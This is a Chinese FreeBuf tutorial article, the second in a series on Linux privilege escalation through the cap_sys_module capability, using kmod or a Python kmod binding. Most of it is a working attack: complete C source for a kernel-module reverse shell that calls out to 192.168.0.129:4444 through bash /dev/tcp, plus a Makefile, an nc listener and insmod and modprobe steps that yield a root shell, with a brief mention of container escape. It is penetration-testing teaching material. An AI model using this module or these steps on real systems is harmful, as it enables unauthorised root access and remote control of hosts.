freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux提权之Capabilities提权(二)
2023-02-28 13:04:59
所属地 甘肃省

续上篇,本篇文章将介绍利用cap_sys_module权限进行提权的方法

cap_sys_module

此权限为允许插入和修改内核模块,Linux内核是允许用户通过添加或删除内核模块来扩展其功能,但是一般仅限于root权限,提权的思路是利用拥有module权限的程序注入恶意的内核模块,如果是python或kmod这样的进程具有这种能力,可以使用反向shell直接提权至root用户。

这里分别列举python和kmod提权方法

kmod具有cap_sys_module权限

  • 发现kmod具有cap_sys_module权限
getcap -r / 2>/dev/null

  • 生成恶意内核模块

1.写入reverse-shell.c(注意修改地址及端口)

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");


char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.129/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };


static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}


static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}


module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

2.写Makeflie文件(注意make前不能使用空格,必须使用tab键)

obj-m +=reverse-shell.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

3.执行make操作

make

在这里我踩了坑,总是make不成功,提示无法找到文件或目录,后面发现原因是因为没有安装内核开发包,遂进行安装

yum install kernel-devel-$(uname -r)

  • 反弹shell

1.监听在reverse-shell.c中填写的端口

nc -nvlp 4444

2.使用kmod注入恶意模块

insmod reverse-shell.ko

python具有cap_sys_module权限

其基本思路也是一样,注入reverse-shell.ko恶意内核模块

但是!!!需要注意的是,python必须安装kmod模块

我们可以通过以下命令查看python是否安装了kmod模块

python -c "help('modules')" | grep kmod

  • 发现python具有cap_sys_module权限及kmod模块

1677521654_63fcf2f6aa453907af795.png!small?1677521657079

  • 创建虚假的模块目录

mkdir lib/modules -p

  • 将模块复制到此目录下

cp -a /lib/modules/$(uname -r)/ lib/modules/$(uname -r)

1677521761_63fcf36150c5817aa0e7e.png!small?1677521763002

  • 生成恶意内核模块

1.写入reverse-shell.c,注意修改端口及地址

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");


char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.129/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };


static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}


static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}


module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

1677522025_63fcf469b077829b60341.png!small?1677522027388

2.写Makeflie文件(注意要使用tab键)

obj-m +=reverse-shell.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

1677522094_63fcf4ae0c50d84fe7ebf.png!small?1677522095660

3.执行make操作

1677522134_63fcf4d68479f5f8c8951.png!small?1677522136128

  • 复制

cp reverse-shell.ko lib/modules/$(uname -r)/

1677522171_63fcf4fb689ccfed5fd30.png!small?1677522173090

  • 监听4444端口

nc -nvlp 4444

  • 使用depmod模块更新内核模块列表
  • 执行python代码加载内核模块(注意修改路径)

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") #这里要注意修改正确
km.modprobe("reverse-shell")

1677522262_63fcf556267bd09684ab6.png!small?1677522263697

可以看到,成功弹回了root权限的shell

1677522323_63fcf5934cfb43e7420e1.png!small?1677522324945


当然,如果一个docker拥有了cap_sys_module权限,我们就可以进行docker逃逸以至于获得主机的root权限。


本篇文章仅作学习参考使用,文中如有纰漏及错误,敬请指正

# linux # 系统安全 # linux安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录